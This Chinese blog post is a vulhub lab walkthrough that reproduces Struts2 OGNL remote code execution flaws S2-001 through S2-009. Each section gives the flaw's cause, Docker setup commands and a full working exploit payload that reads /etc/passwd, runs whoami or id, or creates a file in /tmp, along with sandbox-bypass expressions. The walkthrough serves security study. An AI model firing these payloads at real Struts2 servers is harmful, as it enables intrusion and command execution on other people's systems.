(四)vulhub专栏:Struct2漏洞复现汇总(持续更新中...)

本文详细介绍了Struts2框架中的多个远程代码执行漏洞,包括S2-001、S2-005、S2-007、S2-008和S2-009。每个漏洞的成因、利用环境和复现步骤均有详尽阐述,通过环境配置、POC构造和执行结果验证了漏洞的存在和利用可能性。这些漏洞主要涉及OGNL表达式解析机制的缺陷,允许攻击者通过特定输入执行任意系统命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

S2-001远程代码执行漏洞

漏洞发现

通过网页后缀来发现是否为xxx.doxxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。

漏洞成因

当用户提交表单数据且验证失败时,服务器使用OGNL表达式%{value}解析用户先前提交的参数值,并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

漏洞利用

环境准备
名称IP
攻击机192.168.75.159
靶机192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可

cd vulhub-master/struts2/s2-001
docker-compose up -d

image-20220712150815568

看到如上界面便是启动成功了。

漏洞复现

用户名随意输入,密码输入以下内容

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

可以看到如下返回结果,证明该漏洞利用成功

image-20220712151901459

S2-005远程代码执行漏洞

漏洞发现

通过网页后缀来发现是否为xxx.doxxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。

漏洞成因

服务器使用OGNL表达式%{value}解析每个请求参数名。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码),
例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

漏洞利用

环境准备
名称IP
攻击机192.168.75.159
靶机192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可

cd vulhub-master/struts2/s2-005
docker-compose up -d

image-20220712164115895

看到如上界面便是启动成功了。

漏洞复现

在Get请求Url中拼凑下方的Poc,该Poc是在tmp目录下创建一个success文件。

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

然后去靶机查看是否成功创建success文件,操作如下:

docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f958634c2dbe s2-005_struts2 “catalina.sh run” 4 seconds ago Up 4 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-005_struts2_1

docker exec -it f958634c2dbe /bin/bash
ls /tmp

hsperfdata_root success

看到如上回显便是成功利用了该漏洞

S2-007远程代码执行漏洞

漏洞成因

age参数只能是整数,而非整数会导致错误,struct会将用户的输入当作ongl表达式执行,从而导致了该漏洞

漏洞利用

环境准备
名称IP
攻击机192.168.159.135
靶机192.168.159.129

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.159.129:8080即可

cd vulhub-master/struts2/s2-007
docker-compose up -d

image-20220803141735835

看到如上界面便是启动成功了。

漏洞复现

用户名和邮箱随意输入,age输入以下内容:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

可以看到如下返回结果,证明该漏洞利用成功

image-20220803142224600

S2-008远程代码执行漏洞

漏洞成因

?debug=command&expression=处存在OGNL远程代码执行漏洞

漏洞利用

环境准备
名称IP
攻击机192.168.159.135
靶机192.168.159.129

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.159.129:8080即可

cd vulhub-master/struts2/s2-008
docker-compose up -d

image-20220804155614435

看到如上界面便是启动成功了。

漏洞复现

抓包devmode.action在域名后面拼接如下内容:

?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

可以看到如下返回结果,证明该漏洞利用成功

image-20220804162133615

S2-009远程代码执行漏洞

漏洞成因

当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文。我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行绕过。

漏洞利用

环境准备
名称IP
攻击机192.168.159.135
靶机192.168.159.129

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.159.129:8080即可

cd vulhub-master/struts2/s2-009
docker-compose up -d

image-20220805143117079

看到如上界面便是启动成功了。

漏洞复现

抓包在域名后面拼接如下内容:

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

可以看到如下返回结果,证明该漏洞利用成功

image-20220805143955486

经测试,后缀为.action的拼接payload,好几处均可造成代码执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值